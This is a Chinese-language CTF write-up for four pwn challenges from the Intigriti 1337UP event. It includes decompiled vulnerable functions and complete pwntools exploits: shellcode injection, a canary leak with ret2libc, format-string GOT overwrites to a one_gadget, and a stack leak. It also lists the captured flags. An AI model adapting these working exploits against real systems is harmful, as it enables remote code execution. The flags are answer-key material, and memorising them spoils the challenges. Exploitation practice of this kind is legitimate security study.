JYlQhdg; flag=1337UP{Hello_Al3x_H0w_ar3You}
flag: 1337UP{Hello_Al3x_H0w_ar3You}
Easy Register (pwn)
Overview
關鍵的code:
int easy_register()
{
char v1[80]; // [rsp+0h] [rbp-50h] BYREF
printf("[\x1B[34mi\x1B[0m] Initialized attendee listing at %p.\n", v1);
puts("[\x1B[34mi\x1B[0m] Starting registration application.\n");
printf("Hacker name > ");
gets(v1);
puts("\n[\x1B[32m+\x1B[0m] Registration completed. Enjoy!");
return puts("[\x1B[32m+\x1B[0m] Exiting.");
}
Solution
很水,printf直接送你buffer的位置,又因為這題的stack是rwx、沒canary,所以用gets輸入shellcode並把saved rip蓋成buffer address就可以了
exploit:
#!/usr/bin/env python3
from pwn import *
import sys
exe = ELF("./easy_register_patched")
context.binary = exe
context.arch = 'amd64'
context.terminal = ["tmux", "splitw", "-h"]
def conn():
if "d" in sys.argv[1:]:
context.log_level = "debug"
if len(sys.argv) > 1 and "l" == sys.argv[1]:
r = process([exe.path])
elif len(sys.argv) > 1 and "g" in sys.argv[1]:
r = gdb.debug([exe.path], "b main")
else:
r = remote("easyregister.ctf.intigriti.io", 7777)
return r
def main():
r = conn()
r.recvuntil(b'listing at ')
buffer_addr = int(r.recvline()[:-2].split(b'0x')[-1], 16)
payload = flat({0x00:b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05", 0x58:p64(buffer_addr)}, filler='\x90')
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
flag:
$ cat f*
1337UP{Y0u_ju5t_r3g15t3r3d_f0r_50m3_p01nt5}
Bird (pwn)
Overview
main:
int __cdecl main(int argc, const char **argv, const char **envp)
{
banner(argc, argv, envp);
cage();
restart();
puts("\n[\x1B[32m+\x1B[0m] Exiting.");
return 0;
}
cage:
unsigned __int64 cage()
{
char v1; // [rsp+Bh] [rbp-1A5h]
int i; // [rsp+Ch] [rbp-1A4h]
int j; // [rsp+Ch] [rbp-1A4h]
int v4; // [rsp+10h] [rbp-1A0h]
char needle[48]; // [rsp+20h] [rbp-190h] BYREF
__int64 v6[10]; // [rsp+50h] [rbp-160h] BYREF
char buf[264]; // [rsp+A0h] [rbp-110h] BYREF
unsigned __int64 v8; // [rsp+1A8h] [rbp-8h]
v8 = __readfsqword(0x28u);
puts("\n[\x1B[34mi\x1B[0m] Name your favorite bird:");
read(0, buf, 0xFAuLL);
if ( (int)strlen(buf) <= 64 )
{
puts(" __.-.__");
puts(" _.-' ' ` `-._");
puts(" .' ' ' ` ` `.");
puts(" ( ' ' ` ` )");
puts(" |`-,..,.____..,.,--;|");
puts(" |: | :| : | : |: ||");
puts(" |: | :| : | : |: ||");
puts(" |: | :| : | : |: ||");
puts(" |: | :| : | : |: ||");
puts(" |: | :| : | : |: ||");
puts(" |: | :| : | : |: ||");
puts(" |; | :| : | : |: ||");
puts(" /`-!...|____|...!--'\\");
puts(" / \\");
puts(" `--...._________....--'");
puts("\n[\x1B[31mx\x1B[0m] The cage is empty.");
}
else
{
qmemcpy(v6, "ADDBDADBDGDGADD@AFAEDEDAAFDBDFDGDGACDCDAD@DEADAADFDODODDDBDADNDGGG", 66);
for ( i = 0; i <= 65; ++i )
*((_BYTE *)v6 + i) ^= 0x77u;
v1 = 0;
for ( j = 0; j <= 65; ++j )
{
if ( (j & 1) != 0 )
needle[v4++] = hex_to_ascii((unsigned int)v1, (unsigned int)*((char *)v6 + j));
else
v1 = *((_BYTE *)v6 + j);
}
if ( strstr(buf, needle) )
{
puts(" __.-.__");
puts(" _.-' ' ` `-._");
puts(" .' ' ' ` ` `.");
puts(" ( ' ' ` ` )");
puts(" |`-,..,.____..,.,--;|");
puts(" |: | :| : | : |: ||");
puts(" |: | :| (9>| : |: ||");
puts(" |: | :|(\\) | : |: ||");
puts(" |: | :|/\\\\ | : |: ||");
puts(" |: | /| II | : |: ||");
puts(" |: |///| II | : |: ||");
puts(" |; | :| II | : |: ||");
puts(" /`-!...|____|...!--'\\");
puts(" / \\");
puts(" `--...._________....--'");
printf("\n[\x1B[32m+\x1B[0m] The bird is singing: ");
printf(buf);
}
}
return __readfsqword(0x28u) ^ v8;
}
restart:
unsigned __int64 restart()
{
char v1[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v2; // [rsp+58h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("\n[\x1B[34mi\x1B[0m] Did you hear the bird's song? (y/n) ");
gets(v1);
if ( v1[0] == 110 )
cage();
else
puts("\n[\x1B[34mi\x1B[0m] Okay good!");
return __readfsqword(0x28u) ^ v2;
}
這題有開canary
Solution
如果cage的strstr那邊是true的話,就會觸發有fmt漏洞的printf
由於strstr去查詢的那串字串是固定的,用gdb測試一下可以看到是: c56500c7ab26a5100d4672cf18835690
所以只需要放上這串東西,再搭配fmt就可以穩定的leak stack上的東西,所以canary和libc的位置就不是問題了(分別是%59$p
和%63$p
)
可以看到restart的部分是直接用gets,所以只需要用剛剛leak出來的canary來避免stack smashing的error再ret2libc就可以了
exploit:
#!/usr/bin/env python3
from pwn import *
import sys
exe = ELF("./bird_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")
context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]
def conn():
if "d" in sys.argv[1:]:
context.log_level = "debug"
if len(sys.argv) > 1 and "l" == sys.argv[1]:
r = process([exe.path])
elif len(sys.argv) > 1 and "g" in sys.argv[1]:
r = gdb.debug([exe.path], "b *restart+52")
else:
r = remote("bird.ctf.intigriti.io", 7777)
return r
def main():
r = conn()
payload = flat({0x00: b'c56500c7ab26a5100d4672cf18835690' + b'%59$p' + b'%63$p' + b'END'},filler=b'A', length=65)
r.sendafter(b'Name your favorite bird:', payload)
_, canary, __libc_start_main_231 = r.recvuntil(b'END', drop=True).split(b'0x')
canary = bytes.fromhex(canary.decode())[::-1]
libc.address = int(__libc_start_main_231, 16) - (libc.symbols['__libc_start_main'] + 231)
success(f'canary: {canary}')
success(f'libc base: {libc.address:#x}')
success(f'system: {libc.symbols["system"]:#x}')
ret = lambda: p64(0x400606)
rdi = lambda x: p64(0x400d43) + p64(x)
payload = flat({0x60-0x8: canary, 0x60+0x8: ret() + rdi(next(libc.search(b'/bin/sh\0'))) + p64(libc.symbols["system"])}, filler=b'y')
r.sendlineafter(b'(y/n) ', payload)
r.interactive()
if __name__ == "__main__":
main()
flag:
$ cat f*
1337UP{W3_1ov3_C4n4r13s_7h47_r37urn_7o_l1bc}
Cake (pwn)
Overview
main:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-94h] BYREF
char v5[120]; // [rsp+10h] [rbp-90h] BYREF
int v6; // [rsp+88h] [rbp-18h]
__int16 v7; // [rsp+8Ch] [rbp-14h]
int v8; // [rsp+98h] [rbp-8h] BYREF
int v9; // [rsp+9Ch] [rbp-4h]
v9 = 6;
v8 = 0;
memset(v5, 0, sizeof(v5));
v6 = 0;
v7 = 0;
v4 = 0;
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
puts("Welcome to my cake taste test!\n");
while ( v9 > v8 )
menu((__int64)v5, (__int64)&v8, (__int64)&v4);
puts("Ok, you have had enought cake. Bye!");
return 0;
}
menu:
__int64 __fastcall menu(__int64 a1, __int64 a2, __int64 a3)
{
int v5; // [rsp+2Ch] [rbp-4h] BYREF
v5 = 0;
puts("What would you like to do?");
puts("1) Take a bite of cake!");
puts("2) Give the chef a suggestion.");
puts("3) View my suggestion.\n");
while ( 1 )
{
printf("> ");
__isoc99_scanf("%d", &v5);
if ( v5 == 1 )
return eat(a2);
if ( v5 == 2 )
return make_suggestion(a1, a3);
if ( v5 == 3 )
break;
puts("That's not a valid choice. Choose again!");
clean_stdin();
}
return print_suggestion(a1, a3);
}
eat:
int __fastcall eat(unsigned int *a1)
{
char buf[256]; // [rsp+10h] [rbp-100h] BYREF
printf("Bites taken: %d\n", *a1);
printf("How many bites would you like? (1, 2, or 3): ");
fflush(_bss_start);
read(0, buf, 0x101uLL);
if ( buf[0] <= 48 || buf[0] > 51 )
return puts("That was not a valid amount :(\n");
*a1 += buf[0] - 48;
return puts("Yummy!\n");
}
make_suggesion:
int __fastcall make_suggestion(char *a1, _DWORD *a2)
{
if ( *a2 )
return puts("You've already given our chef a suggestion. Don't overwhelm him!\n");
puts("What could our chef do better?");
clean_stdin();
fgets(a1, 126, stdin);
*a2 = 1;
return puts("Thanks for the suggestion, we will let her know!\n");
}
print_suggesion:
int __fastcall print_suggestion(const char *a1, _DWORD *a2)
{
if ( !*a2 )
return puts("You haven't made a suggestion.\n");
printf(a1);
return putchar(10);
}
這題保護全關,而且可以看到print_suggestion
有fmt的漏洞(怎麼又是fmt…),而make_suggestion
的部分可以輸入126 bytes給printf用,但他會檢查*a2是否為0,若是0則可以輸入,但輸入完就會立刻把*a2設成1
Solution
首先第一次printf的時候除了leak libc之外,因為a2的address在stack上,所以可以順便把它寫成0,方便再次make_suggestion
第二次printf將fflush的got蓋成_start,這時再呼叫eat
,即可重頭執行一次
(之所以這麼做是因為如果現在就把fflush或其他menu
call的到的function的got蓋成one_gadget,因為都不符合constraints,所以無法執行)
第三次printf將setbuf的got蓋成one_gadget後,再次執行eat,因為setbuf會被main觸發,且stack上的狀況符合one_gadget的constraints,所以就能順利get shell了!
exploit:
#!/usr/bin/env python3
from pwn import *
import sys
exe = ELF("./cake_patched")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")
context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]
def conn():
if "d" in sys.argv[1:]:
context.log_level = "debug"
if len(sys.argv) > 1 and "l" == sys.argv[1]:
r = process([exe.path])
elif len(sys.argv) > 1 and "g" in sys.argv[1]:
r = gdb.debug([exe.path], '''
# init-pwndbg
b *print_suggestion+38
''')
else:
r = remote("cake.ctf.intigriti.io", 9999)
return r
def main():
r = conn()
r.sendlineafter(b'> ', b'2')
payload = b'%6$n'
payload += b'%39$pEND'
r.sendlineafter(b'?\n', payload)
r.sendlineafter(b'> ', b'3')
libc.address = int(r.recvuntil(b'END', drop=True).split(b'0x')[-1], 16) - (libc.symbols['__libc_start_main'] + 231)
success(f'libc base: {libc.address:#x}')
one_gadget_off = 0x4f432
one_gadget_addr = libc.address + one_gadget_off
success(f'one_gadget: {one_gadget_addr:#x}')
payload = fmtstr_payload(20, {exe.got['fflush']: exe.symbols['_start']})
assert len(payload) <= 125
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b'?\n', payload)
r.sendlineafter(b'> ', b'3')
r.sendlineafter(b'> ', b'1')
payload = fmtstr_payload(20, {exe.got['setbuf']: one_gadget_addr})
assert len(payload) <= 125
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b'?\n', payload)
r.sendlineafter(b'> ', b'3')
r.sendlineafter(b'> ', b'1')
r.sendline(b'echo -n sanity check')
r.recvuntil(b'sanity check')
r.interactive()
if __name__ == "__main__":
main()
flag:
$ cat f*
1337UP{Wow_that_was_Quite_the_journey!}
Search Engine (pwn)
Overview
他會讀flag到stack上,fmt again…
Solution
太水了,沒什麼好解釋,直接上exploit:
#!/usr/bin/env python3
from pwn import *
import sys
exe = ELF("./search_engine_redacted_patched")
context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]
def conn():
if "d" in sys.argv[1:]:
context.log_level = "debug"
if len(sys.argv) > 1 and "l" == sys.argv[1]:
r = process([exe.path])
elif len(sys.argv) > 1 and "g" in sys.argv[1]:
r = gdb.debug([exe.path], "b main")
else:
r = remote("searchengine.ctf.intigriti.io", 1337)
return r
def main():
r = conn()
offset = 12
payload = "$p".join(f'%{i}' for i in range(offset, offset+5)).encode() + b'$p'
r.sendline(payload)
r.recvuntil(b'You searched for - ')
# print(r.recvline())
leaked = [bytes.fromhex(s.decode())[::-1] for s in r.recvline().replace(b'(nil)',b'').split(b'0x') if s]
print(b''.join(leaked))
r.interactive()
if __name__ == "__main__":
main()
flag:
[+] Opening connection to searchengine.ctf.intigriti.io on port 1337: Done
b'1337UP{Th3s3_f0rm4ts_ar3_wh4ck!}\x00U\xe8\xa7\xfc\x7f'
Summary
這場的CTFd一開始不知為啥掛掉,讓人感覺很差,但Contact Alex這題實在太讚了,所以算是有彌補一開始的不愉快XD